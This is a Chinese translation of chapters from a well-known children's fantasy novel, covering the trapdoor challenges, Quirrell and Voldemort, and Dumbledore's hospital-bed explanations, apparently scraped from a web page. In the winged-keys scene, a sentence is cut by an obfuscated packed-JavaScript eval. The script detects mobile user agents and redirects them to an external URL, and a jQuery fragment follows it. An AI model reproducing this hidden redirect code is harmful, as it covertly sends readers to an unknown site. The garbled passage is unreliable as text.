“别动了!”赫敏对他们喝道,“我知道这是什么了——这是魔鬼网!” “哦,我真高兴,我们总算知道它叫什么名字了,这对我们大有帮助。”罗恩气呼呼地说,向后躲闪着,不让藤蔓缠住他的脖子。 “你给我闭嘴,我正在回想怎么把它杀死!”赫敏说。 “拜托你快点想,我透不过气来了!”哈利大喘着气说,拼命扯住那根要缠住他胸脯的藤蔓。 “魔鬼网,魔鬼网...斯普劳特教授是怎么说的?说它喜欢阴暗和潮湿——” “那么就点火烧它!”哈利几乎要窒息了。 “是啊——当然可以——可是这里没有木柴啊!”赫敏大声说道,焦急地扭着双手。 “你疯了吗?”罗恩吼道,“你到底是不是巫师?” “哦,对了!”赫敏说着,一把抽出魔杖,挥动着,嘴里念念有词,然后就像那次对付斯内普一样,让魔杖头上射出一道蓝色风铃草般的火焰。 在短短几秒钟内,两个男孩就觉得藤蔓在退缩着躲避光明和温暖,松开了对他们的纠缠。植物扭曲着,抽动着,自动松开缠绕在他们身上的卷须,哈利和罗恩终于完全挣脱了出来。 “幸亏你在草药课上听得很认真,赫敏。”哈利和赫敏一样退到墙边,擦着脸上的汗水,说道。 “是啊,”罗恩说,“也幸亏哈利在关键时刻没有像你一样慌了手脚——‘可是这里没有木柴啊’,瞧你说的什么话!” “这边走。”哈利指着一条石头走廊说道。这是唯一可走的道路。 他们听见,除了他们自己的脚步声外,还有水珠顺着墙壁缓缓滴落的声音。这个走廊顺坡而下,这使哈利联想到了古灵阁。他的心猛地跳动了一下,他想起了传说中看守巫师银行金库的那些巨龙。如果他们碰到一条龙,一条完全成年的大龙——诺伯就已经够难对付的了... “你能听见什么动静吗?”罗恩小声问。 哈利侧耳细听。前面似乎传来了轻轻的沙沙声和叮叮当当的声音。 “会不会是一个幽灵?” “我不知道...好像是翅膀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15338700|167802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扇动的声音。” “前面有亮光——我看见有什么东西在动。” 他们来到走廊尽头,面前是一间灯火通明的房间,上面是高高的拱顶形天花板。无数只像宝石一般光彩夺目的小鸟儿,扑扇着翅膀在房间里到处飞来飞去。房间对面有一扇厚重的木门。 “你说,如果我们穿过房间,它们会朝我们发动进攻吗?”罗恩问。 “有可能。”哈利说,“它们看样子倒并不凶恶,但如果它们一下子全部冲过来,恐怕...管它呢,反正也没有别的办法...我冲过去了。” 他深深吸了口气,用手臂挡住面孔,飞快地冲到房间的另一头。他以为随时都会有尖利的嘴巴和爪子来撕扯他,结果却平安无事。他毫发无损地来到那扇门边,拉了拉把手,门是锁着的。 罗恩和赫敏也跟了过来。他们一起又拉又推,可是木门纹丝不动,赫敏又试了试她的阿拉霍洞开咒,也无济于事。 “怎么办?”罗恩问。 “这些鸟…它们不可能只是用来作装饰的。”赫敏说。 三个人注视着那些小鸟在头顶上飞来飞去,闪闪发亮——闪闪发亮? “它们根本不是什么鸟!”哈利突然说道,“它们是钥匙!带翅膀的钥匙——你们仔细看看。显然这意味着...” 哈利环顾着房间的每个角落,而罗恩和赫敏则仰头凝视着那一大群飞舞的钥匙。“...有了,你们瞧!飞天扫帚!我们必须上去逮住那扇门的钥匙!” “可是那上面有好几百把钥匙呢!” 罗恩仔细查看那扇门的锁。 “我们要寻找一把古色古香的大钥匙——可能是银色的,形状像个门把手。” 他们每人抓起一把扫帚,双脚一蹬,升到半空,冲进那一群密集的钥匙阵。他们拼命地又抓又捞,可是那些施了魔法的钥匙躲闪得太快了,简直不可能抓得住。 不过,哈利作为一个世纪以来最年轻的魁地奇找球手,并不是徒有虚名的。他在搜寻飞行目标方面有着过人的技巧。他在五彩缤纷的小翅膀的漩涡中穿行了一分钟后,就注意到一把大大的银钥匙的翅膀耷拉着,就好像它曾经被人抓住、粗暴地塞进了钥匙孔里。 “就是它!”他对罗恩和赫敏喊道,“那把大钥匙——在那儿——不,不是这儿,是那儿——带着天蓝色翅膀的那个——羽毛全都倒向了一边。” 罗恩飞快地朝哈利所指的方向冲去,结果一头撞在天花板上,差点从飞天扫帚上掉下来。 “我们得把它包围起来!”哈利喊道,眼睛一直盯着那只翅膀被折断的钥匙。“罗恩,你从上面堵住它——赫敏,你守在下面,别让它往下飞——我来把它抓住。好了,现在开始!” 罗恩向下俯冲,赫敏朝上一蹿,钥匙躲闪着避开他俩的上下堵截,哈利紧紧跟在后面。钥匙迅疾地往墙上飞去,哈利向前一扑,随着一阵刺耳难听的嘎吱声,他用一只手把钥匙按在了石墙上。罗恩和赫敏的欢呼声在高高的房间里回荡。 他们迅速降落,哈利向那扇门跑去,钥匙还在他手里挣扎着。他把它塞进锁眼,用力一拧——没错,就是它。咔哒一声,门锁刚一弹开,钥匙就又飞走了。它一连被抓住了两次,样子显得憔悴不堪。 “准备好了吗?”哈利用手握住门把手,向罗恩和赫敏问道。他们俩点了点头。于是,他把门推开了。 第二个房间里一片漆黑,什么也看不见。可是他们刚跨进去,屋里突然灯火通明,照亮了一幕令人震惊的景象。 他们站在一副巨大的棋盘边上,前面是黑色的棋子,那些棋子都比他们还要高,似乎是甩黑石头之类的东西刻成的。在房间的那一头,与他们面对面的,是一些白色的棋子。哈利、罗恩和赫敏吓得浑身发抖——那些高耸的白棋子的脸上都没有五官。 “现在怎么办呢?”哈利小声说。 “这还不明显?”罗恩说,“我们必须下棋才能走到房间那头。” 他们看见白棋子后面有一扇门。 “怎么下法?”赫敏紧张地问。 “依我看,”罗恩说,“我们必须充当棋子。” 他走到一个黑骑士身旁,伸手摸了摸骑士的马。立刻,石头就活了过来,马用蹄子刨着地上的土,骑士转过戴着头盔的脑袋,望着罗恩。“我们是不是——嗯——必须跟你们一起才能过去?”黑骑士点了点头。 罗恩转身对哈利和赫敏说:“需要好好考虑一下…”他说,“恐怕我们必须取代这里的三个黑棋子...” 哈利和赫敏没有说话,看着罗恩在那里思索。最后罗恩说:“是这样,你们可别生气,怪我说话不客气,不过说实话,你们两个下棋都不怎么样——” “我们没有生气,”哈利赶紧说道,“快告诉我们怎么做。” “好吧,哈利,你就代替那个主教的位置;赫敏,你站在他旁边,代替那个城堡。” “那么你呢?”“我来做一个骑士。”罗恩说。 那些棋子似乎都在听他们说话,他话音刚落,一个骑士、一个主教和一个城堡就转了个身,背对着白棋子,走出了棋盘,留出了三个空位子,让给哈利、罗恩和赫敏。 “下棋的规矩是白棋先走。”罗恩说,朝棋盘对面望过去,“对了...你们看...”一个白色的卒子向前移动了两格。 罗恩开始指挥黑棋作战。哈利和赫敏默默地听从他的调遣。哈利的膝盖在发抖。万一他们输了呢?“哈利――往右前方移动四格。” 当他们的另一个骑士被吃掉时,他们才开始真正感到了恐惧。白王后凶狠地把那个骑士打翻在地板上,拖出了棋盘。他面朝下躺在那里,一动也不动。 “没办法,只好如此,”罗恩说,他看上去很震惊,“这样你才能去吃掉那个主教。赫敏,去吧。” 每次他们的棋子被吃掉时,白棋子都表现得心狠手辣,毫不留情。很快,墙边就横七竖八地倒了一大堆毫无生气的黑棋子。有两次,多亏罗恩及时发现哈利和赫敏处境危急,想办法替他们解了围。罗恩自己在棋盘上冲锋陷阵,吃掉的白棋子差不多和他们失去的黑棋子一榉多。 “快要到了,”他突然低声说道,“让我想想——让我想想——” 白王后把她没有五官的脸转向他。 “是的...”罗恩低声说,“只有这个办法了...我必须被吃掉。” “不行!”哈利和赫敏同时喊道。 “这是下棋!”罗恩厉声地说,“总是需要做出一些牺牲的!我向前走一步,她就会把我吃掉——你就可以把国王将死了,哈利!” “可是——” “你到底想不想去阻止斯内普?” “罗恩——” “快点,如果再不抓紧时间,他就已经把魔法石拿到手了!” 哈利不再犹豫了。 “准备好了吗?”罗恩喊道,脸色苍白,但神情十分坚决。“我去了——注意,赢了以后立即行动,别在这里耽搁。” 他向前跨了一步,白王后立刻扑了过来。她举起石头手臂,朝罗恩的脑袋上重重打了一拳,罗恩一下子摔倒在地板上——赫敏失声尖叫,但并没有离开她的格子——白王后把罗恩拖到一边。看样子,罗恩好像被打昏了。 浑身颤抖的哈利向左边移动了三格。 白国王摘掉头上的王冠,扔在哈利脚下。他们赢了...白棋子纷纷鞠躬后退,让出路来,使他们能够顺利地走向那扇门。哈利和赫敏悲哀地回头看了罗恩最后一眼,便冲过门去,顺着下一条走廊往前走。 “他会不会——”“他不会有事的。”哈利说,同时也在努力使自己相信这一点,“你认为接下来会是什么呢?” “我们已经通过了斯普劳特的机关,就是那道魔鬼网——给那些钥匙施魔法的肯定是弗立维——麦格教授把棋子变形了,使它们活了起来——下面就剩下奇洛的魔法,还有斯内普的...” 他们又来到一扇门口。 “行吗?”哈利小声问。 “进去吧。”哈利把门推开了。一股令人作呕的臭味扑鼻而来,他们只好撩起衣服挡住鼻子。两人的眼睛也被熏出了眼泪,他们透过模糊的泪眼,看见一个巨怪,比他们上次较量过的那个还要庞大,一动不动地躺在面前的地板上,失去了知觉,脑袋上有一个血淋淋的大肿块。 “太好了,我们用不着同这个巨怪搏斗了。”哈利低声说。他们小心翼翼地跨过巨怪粗壮的双腿。“快走吧,我气都喘不过来了。” 他拉开下一道门,一时间,两人简直不敢看接下来是什么在等待他们——然而这里并没有什么可怕的东西,只有一张桌子,上面排放着七个形状各异的瓶子。 “斯内普的魔法,”哈利说,“我们应该怎么做?” 两人刚跨过门槛,身后就腾地升起一股火焰,封住了门口。这火焰不同寻常:是紫色的。与此同时,通往前面的门口也蹿起了黑色的火苗。他们被困在了中间。 “看!”赫敏抓起放在瓶子旁边的一卷羊皮纸。哈利站在她背后,和她一起读道:危险在眼前,安全在后方。我们中间有两个可以给你帮忙。 把它们喝下去,一个领你向前,另一个把你送回原来的地方。两个里面装的是荨麻酒。三个是杀手,正排着队等候。选择吧,除非你希望永远在此耽搁。我们还提供四条线索帮你选择:第一,不论毒药怎样狡猾躲藏,其实它们都站在荨麻酒的左方;第二,左右两端的瓶里内容不同,如果你想前进,它们都不会对你有用;第三,你会发现瓶子大小各不相等。 在巨人和侏儒里没有藏着死神;第四,左边第二和右边第二,虽然模样不同,味道却是一样。 赫敏长长地嘘了口气,哈利惊讶地看见她居然露出了笑容,他自己是无论如何笑不出来的。 “太妙了,”赫敏说,“这不是魔法——这是逻辑推理——是一个谜语。许多最伟大的巫师都没有丝毫逻辑推理的本领,他们只好永远被困在这里。” “我们呢,我们也出不去了,是吗?” “当然不会,”赫敏说,“我们所要知道的都写在这张纸上呢。七个瓶子:三个是毒药;两个是酒;一个能使我们安全穿过黑色火焰,另一个能送我们通过紫色火焰返回。” “但我们怎么知道该喝哪一种呢?” “给我一分钟时间。” 赫敏把那张纸又读了几遍。她在那排瓶子前走来走去,嘴里自言自语,一边还指点着这个或那个瓶子。终于,她高兴地拍起手来。“知道了,”她说,“这只最小的瓶子能帮助我们穿过黑色火焰——拿到魔法石。” 哈利看着那只不起眼的小瓶子。 “里面只够一个人喝的了,”他说,“还不到一口呢。” 他们互相望着对方。 “哪个瓶子能使你穿过紫色火焰返回?” 赫敏指指最右边的一只圆溜溜的瓶子。 “你喝那一瓶。”哈利说,“你先别插嘴,听我说——你回去找到罗恩——从飞舞着钥匙的房间里抓两把扫帚,它们会载着你们穿越活板门,从路威身边通过——直接去猫兰鹰住的棚屋,派海德薇去给邓布利多送信,我们需要他来援救。我也许可以暂时牵制住斯内普,但我绝不是他的对手。” “可是哈利——如果神秘人和他在一起怎么办?” “嗯——我以前侥幸逃脱过一次,记得吗?”哈利指着他额头上的伤疤说,“我说不定还能逢凶化吉的。” 赫敏的嘴唇颤抖着,她突然冲向哈利,伸出双臂搂住了他。“赫敏!” “哈利——你知道吗,你是个了不起的巫师。” “我不如你出色。”哈利非常难为情地说,赫敏松开了他。 “我!”赫敏说,“不过是死读书,再靠一点儿小聪明!除此之外,还有许多更重要的东西呢——友谊和勇气——哦,哈利——可要小心啊!” “你先喝,”哈利说,“你能肯定是这两个瓶子吗,不会弄错吧?” “绝对不会。”赫敏说。她从右边那个圆瓶子里喝了一大口,浑身打了个激灵。 “不是毒药吧?”哈利担心地问。 “不是——但是像冰一样,寒冷刺骨。” “快点儿,走吧,过一会儿它就失效了。” “祝你好运——千万小心——” “快走!” 赫敏转过身,径直穿过了紫色火焰。 哈利深深吸了口气,抓起那只最小的瓶子。他转身面对着黑色的火苗。 “我来了。”他说完,一口喝光了小瓶子里的液体。 它确实像冰一样,一下子渗透到他的全身。他放下瓶子,向前走去。他鼓起勇气,看见黑色的火苗舔着他的身体,但是他毫无感觉——在那一刹那间,他什么也看不见,眼前只有黑色的火焰——接着,他就顺利地来到另一边,进入了最后一个房间。 那里面已经有一个人了——不是斯内普,甚至也不是伏地魔。 18. 双面人 是奇洛。 “你!”哈利惊愕得喘不过气来。 奇洛笑了。现在他的脸一点也不抽搐了,“是我,”他冷静地说,“我刚才还在想,我会不会在这儿遇见你,波特。” “可是我以为——斯内普——” “斯内普?”奇洛大笑起来。这笑声也不是他平常那种尖厉刺耳的颤音,而是一种令人胆寒的冷笑。“是啊,斯内普看上去确实不像个好人,是吗?他像一只巨型的大蝙蝠到处乱飞,对我们倒是很有帮助。有他在那里放着,谁还会怀疑可——可——可怜的,结——结——结结巴巴的奇洛教——教授呢?” 哈利无法相信这一切。这不可能是真的,不可能。 “可是斯内普曾经想害死我!” “不,不,不,想害死你的是我。那次魁地奇比赛的时候,你的朋友格兰杰小姐冲过来给斯内普施咒,无意中把我撞倒了。她破坏了我对你的凝视,其实只要再坚持几秒钟,我就把你从飞天扫帚上摔下去了。如果不是斯内普一直在旁边念一个反咒,想保住你的性命,我早就把你摔死了。” “斯内普想要救我?” “当然是这样,”奇洛冷冷地说,“你说他为什么要给你们的第二次比赛当裁判?他要确保我不再害你。真是可笑...其实他犯不着费这番心思。有邓布利多在场,我什么也做不成的。其他老师都以为斯内普想阻止格兰芬多队获胜,他确实弄得自己很不受人欢迎...不过,这一切都是浪费时间,不管怎么说,我今晚一定要把你干掉。” 奇洛啪地打了个响指。说时迟那时快,只见凭空蹿过来几条绳索,把哈利捆了个结结实实。 “你太爱管闲事了,不能让你再活在世上,波特。万圣节前夜,你在学校里到处乱转,我当时就知道,你看见我去查看魔法石的机关了。” “是你放那个巨怪进来的?” “当然是这样。我对付巨怪有一套特别的办法——你肯定已经看见了,我是怎么教训那边房间里的那个家伙的吧?倒霉的是,当大家都匆匆忙忙到处寻找巨怪时,早已对我起了疑心的斯内普直接赶到四楼,试图阻拦我——不仅我的巨怪没有把你打死,甚至那条三个头的大狗也没有把斯内普的腿咬断。 “好了,静静地等着吧,波特。我需要仔细看看这面有趣的镜子。” 直到这时,哈利才发现奇洛身后立着的东西。正是厄里斯魔镜。 “这面镜子是找到魔法石的钥匙,”奇洛喃喃地说,用手沿着四周的镜框敲了一遍。“只有邓布利多才拿得出这样的东西...不过他此刻在伦敦呢...等他回来的时候,我早就远走高飞了...” 哈利能想到的唯一办法就是让奇洛不停地说话,不让他把注意力集中到魔镜上。“我看见你和斯内普在禁林里——”他冒冒失失地说。 “没错,”奇洛懒洋洋地说,一边转到魔镜后面去查看,“他那时候已经盯上我了,想要知道我究竟进行到了什么地步。他一直在怀疑我。他想吓唬我——其实他哪里吓得住我,有伏地魔做我的靠山呢...” 奇洛从魔镜后面转回来,贪婪地盯着镜子里面。 “我看见魔法石了…我正在把它献给我的主人...可是它藏在哪儿呢?” 哈利拼命想挣脱束缚他的那些绳索,却被越缠越紧。他必须阻止奇洛把全部注意力都集中到魔镜上。 “可是斯内普总是显得那么恨我。” “哦,他确实恨你,”奇洛漫不经心地说,“天哪,他当然恨你。当年他和你父亲一起在霍格沃茨念书,这你不知道吧?他们俩互相仇恨,不共戴天。不过他可从来不希望你死掉。” “可是几天前我听见你在哭——我以为斯内普在威胁你...”奇洛的脸上第一次闪过一丝恐惧的震颤。“有的时候,”他说,“我觉得很难遵从我主人的指令——他是个伟大的巫师,而我的力量这样微弱——” “难道你是说,当时和你一起在教室里的是他?”哈利吃惊地问。 “不论我走到哪里,他都跟我在一起,”奇洛平静地说,“我是在环游世界时遇到他的。我当时还是一个傻乎乎的小伙子,对善恶是非有着一套荒唐的想法。是伏地魔指出了我的错误。世界上没有什么善恶是非,只有权力,还有那些无法获取权势的无能之辈...从那以后,我就忠心耿耿地为他效劳,不过我也有许多次令他失望过。他对我一直非常严厉。”奇洛突然颤抖了一下。“他从不轻易原谅我的错误。当我没能把魔法石从古灵阁偷出来时,他非常不高兴。他惩罚了我...并决定从此更加密切地监视我——” 奇洛的声音渐渐低得听不见了。哈利想起了他那次到对角巷去的情景——当时他怎么就没有想到呢?他那天明明看见了奇洛,还跟他在破釜酒吧里握过手呢。 奇洛压低了声音咒骂着。 “我真不明白...难道魔法石藏在镜子里面?我是不是应该把镜子打破?”哈利脑子里飞快地转动着。此时此刻我心里最大的愿望,他想,就是赶在奇洛之前找到魔法石。所以,如果我对着魔镜照一照,就应该看见自己找到了那块石头——这就意味着我能看到石头藏在哪里!可是,我怎样才能在不被奇洛发现的情况下,过去照一照魔镜呢?他试着悄悄向左边移动,想趁奇洛不注意挪到镜子前面。可是,缠住他脚踝的绳索实在太紧了,他绊了一下,摔倒在地。奇洛没有理睬他,还在那里自言自语。 “这面镜子是怎么回事?它究竟有什么功能?帮帮我吧,主人!”哈利惊恐地听见一个声音在回答,那声音好像是从奇洛本人身体里发出来的。“利用那个男孩...利用那个男孩...”奇洛转向哈利。“好吧——波特——上这儿来。” 他又把双手一拍,那些捆绑哈利的绳索就自动松开了。哈利慢慢地站起身来。 “上这儿来,”奇洛又说了一遍,“照一照镜子,把你看到的情形告诉我。”哈利朝他走去。 “我必须对他撒谎,”他不顾一切地想,“我必须先照照镜子,然后编出一套谎话来骗他,就这么做。” 奇洛凑到他的身后。哈利闻到一股奇怪的气味,似乎是从奇洛头上的围巾里发出来的。他闭上眼睛,站到魔镜前面,随即把眼睛睁开了。 他看见了镜子里的自己,一开始脸色苍白,神情惶恐,可是片刻之后,便露出了笑容。镜子里的哈利把手伸进口袋,掏出一块鲜红的石头,然后眨眨眼睛,又把石头放进了口袋——就在这时,哈利觉得有一件重重的东西真的落进了自己的口袋。真是不可思议——他居然就这样得到了魔法石。 “怎么样?”奇洛不耐烦地问,“你看到了什么?” 哈利鼓起勇气。 “我看见自己在跟邓布利多握手,”他胡乱编造地说,“我——我为格兰芬多赢得了学院杯冠军。” 奇洛又开始骂骂咧咧。 “你给我走开。”他说。哈利退到一边时,感觉到魔法石就贴在他的大腿上。他敢不敢现在就带着它逃走?但他刚走了不到五步,就听见一个尖厉的嗓音说话了,而奇洛的嘴唇根本没有动。 “他在说谎...他在说谎...” “波特,回到这儿来!”奇洛喊道,“把实话告诉我!你刚才看见了什么?” 那个尖厉的嗓音又说话了。 “让我来跟他谈...面对面地谈...” “主人,你的体力还没有恢复啊!” “这点力气...我还是有的...” 哈利觉得自己仿佛被魔鬼网牢牢缠住了,浑身上下丝毫也动弹不得。他呆呆地站在那里,看着奇洛举起手解下他头上的围巾。这是怎么回事?大围巾落了下来,奇洛的脑袋看上去小得出奇。然后,他慢慢地原地转过身去。 哈利想放声尖叫,但发不出一点儿声音。在原本该是奇洛后脑勺的地方,长着一张脸,哈利还从来没有看见过这样狰狞恐怖的脸。那张脸的颜色像粉笔一样死自,红通通的眼睛放出光来,下面是两道像蛇一般细长的鼻孔。 “哈利·波特...”他耳语般地说。 哈利想往后退,可是他的双腿不听使唤。 “你看看我变成了什么样子!”那张脸说,“只剩下了影子和蒸气...我只有和别人共用一具躯体时,才能拥有形体...不过总有一些人愿意让我进入他们的心灵和头脑...在过去的几个星期里,独角兽的血使我恢复了一些体力...那天你在森林里看见奇洛为我饮血...一旦我弄到了长生不老药,我就能够重新创造一个我自己的身体...好了...你为什么不把你口袋里的魔法石交给我呢?” 原来他知道!哈利的腿突然又有了知觉。他踉跄着后退。 “别犯傻了,”那张脸恶狠狠地说,“最好保住你自己的小命,投靠我吧...不然你就会和你父母的下场一样...他们临死前苦苦地哀求我饶命...” “撒谎!”哈利猛地喊道。 奇洛后退着朝他逼近,这使伏地魔仍然能盯着他。现在那张邪恶的脸上露出了狞笑。 “多么感人啊...”他用嘶哑的声音说,“我一向都很敬佩勇气...是的,孩子,你父母当年都很勇敢...我先动手杀你的父亲,他倒是宁死不屈,勇敢地跟我搏斗...你母亲其实不用死的...她拼着命要保护你...好了,把魔法石给我吧,别让你母亲白白为你丧命。” “休想!” 哈利猛地冲向那扇燃着黑色火焰的门,伏地魔尖叫起来:“抓住他!” 紧接着,哈利就感到奇洛用手紧紧抓住了他的手腕。顿时,哈利额头上的伤疤钻心地疼痛起来;他觉得自己的脑袋仿佛要裂成两半;他大声喊叫,拼命挣扎;随后,他吃惊地发现奇洛松开了手,他额头的疼痛也减轻了——哈利茫然地四顾,寻找奇洛,只见他痛苦地弓着身子,看着自己的手指——他眼睁睁地看见它们一个个地冒起了水泡。 “抓住他!抓住他!”伏地魔又尖叫起来。奇洛向前一扑,把哈利撞翻在地,骑在他身上,用双手掐住哈利的脖子——哈利的伤疤又是一阵剧痛,他眼前发黑,但他还是看见奇洛在痛苦地嚎叫。 “主人,我抓不住他——我的手——我的手!” 奇洛虽然仍用膝盖把哈利压在地上,但他的手已经松开了哈利的脖子,此刻他正困惑地盯着自己的手掌——哈利可以看见它们像是被火烧伤了似的,红得发亮。 “那就把他干掉,傻瓜,快点行动!”伏地魔用刺耳的声音说。 奇洛举起手,准备念一个死咒,可是哈利出于本能,猛地抬手抓向奇洛的脸——“啊!啊!啊——!” 奇洛从哈利身上滚了下去,他的脸上也冒起了水泡。这时哈利突然明白了:只要一碰到奇洛暴露在外的皮肤,他就会感到剧痛难忍——哈利要逃生,唯一的希望就是死死抓住奇洛,让奇洛痛得无法对自己念咒。 哈利跳了起来,一把抓住奇洛的手臂,死也不肯撒手。奇洛惨叫着,拼命想把哈利甩掉——哈利的头痛也越来越剧烈——他眼前发黑——只能听见奇洛可怖的尖叫和伏地魔恶狠狠的咆哮:“杀死他!杀死他!”另外还有一些声音在喊着:“哈利!哈利!”不过这也许是他脑海里的幻觉。 他感到奇洛的手臂挣脱了他,他知道一切都完了,接着他就沉入一片黑暗,向下坠落...坠落...坠落...一个金色的东西在他头顶上闪烁。是飞贼!他想把它抓住,但胳膊沉重得抬不起来。他眨了眨眼睛,原来那根本不是飞贼,而是一副眼镜。 多么奇怪。他又使劲眨了眨眼睛,面前渐渐浮现出阿不思·邓布利多笑眯眯的脸。 “下午好,哈利。”邓布利多说。 哈利先是呆呆地盯着他,然后突然想起来了。“先生!魔法石!是奇洛!他得到了魔法石!先生,快——” “不要激动,亲爱的孩子,你说的这些话已经有点过时了,”邓布利多说,“奇洛没有拿到魔法石。” “那么谁拿到了?先生,我——” “哈利,请你镇静一些,不然庞弗雷夫人就要把我赶出去了。” 哈利咽了口唾沫,环顾四周。他意识到自己是在医院里。他躺在一张铺着洁白亚麻被单的病床上,旁边的桌子上堆得像座小山,似乎半个糖果店都被搬到这里来了。 “都是你的朋友和崇拜者送给你的礼物。”邓布利多笑吟吟地说,“你和奇洛教授在地牢里发生的一切,是一个完完全全的秘密,而秘密总是不胫而走,所以,全校师生自然是全都知道了。据我所知,你的朋友弗雷德和乔治韦斯莱本来还送给你一只马桶圈。他们无疑是想跟你逗个乐子,可是庞弗雷夫人觉得不太卫生,就把它没收了。” “我在这里住多久了?” “三天。罗恩韦斯莱先生和格兰杰小姐若是知道你醒过来了,一定会觉得松了口气。他们一直担心极了。” “可是先生,魔法石——” “看来没法子分散你的注意力。好吧,咱们就谈谈魔法石。奇洛教授没有能够把它从你手里夺走,我及时赶到阻止了他。不过我必须说一句,你其实一个人就对付得很好。” “您赶到那儿了?您收到赫敏派猫头鹰送给您的信了?” “我和猫头鹰显然是在空中错过了。我一到达伦敦,就发现我应该回到我刚刚离开的地方。我赶来得恰是时候,正好把奇洛从你身上拉开——”“原来是您。” “我还担心已经太晚了。” “差一点儿就来不及了,我已经支撑不了多久,魔法石很快就要被他抢去了——” “不是魔法石,孩子,我指的是你——你为了保卫魔法石差点儿丢了性命。在那可怕的一瞬间,我吓坏了,以为你真的死了。至于魔法石嘛,它已经被毁掉了。” “毁掉了?”哈利不解地问,“可是您的朋友——尼可·勒梅——” “哦,你居然还知道尼可?”邓布利多问,语气显得很高兴,“你把这件事搞得很清楚,是吗?是这样的,尼可和我谈了谈,我们一致认为这是最好的办法。” “可是,那样一来,他和他妻子就要死了,是吗?” “他们存了一些长生不老药,足够让他们把事情料理妥当。然后,是啊,他们会死。” 看到哈利脸上惊愕的表情,邓布利多不禁露出了笑容。 “我知道,对你这样年纪轻轻的人来说,这似乎有些不可思议;但是对尼可和佩雷纳尔来说,死亡实际上就像是经过漫长的一天之后,终于上床休息了。而且,对于头脑十分清醒的人来说,死亡不过是另一场伟大的冒险。你知道,魔法石其实并不是多么美妙的东西。有了它,不论你想拥有多少财富、获得多长寿命,都可以如愿以偿!这两样东西是人类最想要的——问题是,人类偏偏就喜欢选择对他们最没有好处的东西。” 哈利躺在那里,一时间不知道说什么好。邓布利多愉快地哼着小曲,笑眯眯地看着天花板。 “先生,”哈利说,“我一直在想...先生——尽管魔法石不在了,伏地...我是说,神秘人——” “就叫他伏地魔,哈利。对事物永远使用正确的称呼。对一个名称的恐惧,会强化对这个事物本身的恐惧。” “是,先生。是这样,伏地魔还会企图用别的办法东山再起的,是吗?我的意‘思是,他并没有消失,对吗?” “对,哈利,他没有消失。他仍然躲在什么地方,也许正在物色一个愿意让他分享的躯体...他不算是真正地活着,所以也就不可能被杀死。他当时只顾自己溜走,完全不顾奇洛的死活;他对敌人心狠手辣,对自己的追随者也一样冷酷无情。不过,哈利,你也许只是耽搁了他,使他不能马上恢复力量,将来还需要另外一个人做好充分准备,和他决一死战——但如果他一而再、再而三地被耽搁,他也许就再也无法恢复力量了。” 哈利点了点头,但很快就停住了,因为这使他感到头痛。然后他说:“先生,还有一些事情我不太明白,不知道您能不能告诉我...我想了解这些事情的真相...” “真相,”邓布利多叹息着说,“这是一种美丽而可怕的东西,需要格外谨慎地对待。不过,我会尽量回答你的问题,除非我有充分的理由守口如瓶,那样的话,我希望你能原谅我。我当然不能说谎话骗你。” “是这样...伏地魔说他当年杀死我母亲,是因为我母亲拼命阻止他杀死我。可是,话说回来,他为什么想要杀死我呢?” 邓布利多这次重重地叹了口气。 “哎呀,你问我的第一件事,我就不能够告诉你。今天不能,现在不能。总有一天,你会知道的...暂时先别想这件事吧,哈利。等你再长大一些...我知道你不愿意听这个话...等你做好了准备,你自然就会知道了。” 哈利明白再多说也没有用。 “那么,为什么奇洛不能碰我?” “你母亲是为了救你而死的。如果伏地魔有什么事情弄不明白,那就是爱。他没有意识到,像你母亲对你那样强烈的爱,是会在你身上留下自己的印记的。不是伤疤,不是看得见的痕迹...被一个人这样深深地爱过,尽管那个爱我们的人已经死了,也会给我们留下一个永远的护身符。它就藏在你的皮肤里。正是由于这个原因,奇洛不能碰你。奇洛内心充满仇恨、贪婪和野心,把灵魂出卖给了伏地魔,他碰了一个身上标有这么美好印记的人,是会感到痛苦难忍的。” 说到这里,邓布利多假装对窗外的一只小鸟发生了浓厚的兴趣,哈利便趁这个时间用床单把眼泪擦干。 当声音重又恢复正常时,哈利说道:“还有那件隐形衣——您知道是谁送给我的吗?” “呵——你父亲碰巧把它留给了我,而我认为你大概会喜欢它。”邓布利多的眼睛里闪着狡黠的光芒。“很有用的东西…当年,你父亲在这里上学的时候,主要是靠它溜进厨房偷东西吃。” “还有另外一件事...” “尽管问吧。” “奇洛说斯内普他——” “是斯内普教授,哈利。” “是的,是他——奇洛说,斯内普教授恨我是因为他当年恨我父亲。这是真的吗?” “是这样,他们确实互相看不顺眼。很有点像你和马尔福先生。后来,你父亲做了一件斯内普永远无法原谅他的事。” “什么事?” “他救了斯内普的命。” “什么?” “是的...”邓布利多幽幽地说,“人的思想确实非常奇妙,是吗?斯内普教授无法忍受这样欠着你父亲的人情...我相信,他这一年之所以想方设法地保护你,是因为他觉得这样就能使他和你父亲扯平,谁也不欠谁的。然后他就可以心安理得地重温对你父亲的仇恨...” 哈利努力思索着这段话,但这使他的头又剧烈地疼痛起来,他只好不往下想了。 “对了,先生,还有最后一个问题...” “是最后一个吗?” “我是怎么把魔法石从魔镜里拿出来的?” “啊,我很高兴你终于问我这件事了。这是我的锦囊妙计之一,牵涉到你和我之间的默契,这是很了不起的。你知道吗,只有那个希望找到魔法石——找到它,但不利用它——的人,才能够得到它;其他的人呢,就只能在镜子里看到他们在捞金子发财,或者喝长生不老药延长生命。我的脑瓜真是好使,有时候我自己也感到吃惊呢...好了,问题问得够多的了。我建议你开始享受这些糖果吧。啊!比比多味豆!我年轻的时候真倒霉,不小心吃到一颗味道臭烘烘的豆子,恐怕从那以后,我就不怎么喜欢吃豆子了——不过我想,选一颗太妃糖口味的总是万无一失的,你说呢?” 他笑着把那颗金棕色的豆子丢进嘴里。接着他呛得喘不过气来,说:“呸,倒霉!是耳屎!” 医院护士长庞弗雷夫人是个善良的女人,但是非常严厉。 “只见五分钟。”哈利恳求道。 “绝对不行。” “你让邓布利多教授进来了…” “是啊,那当然,他是校长嘛,自然有所不同。你需要休息。” 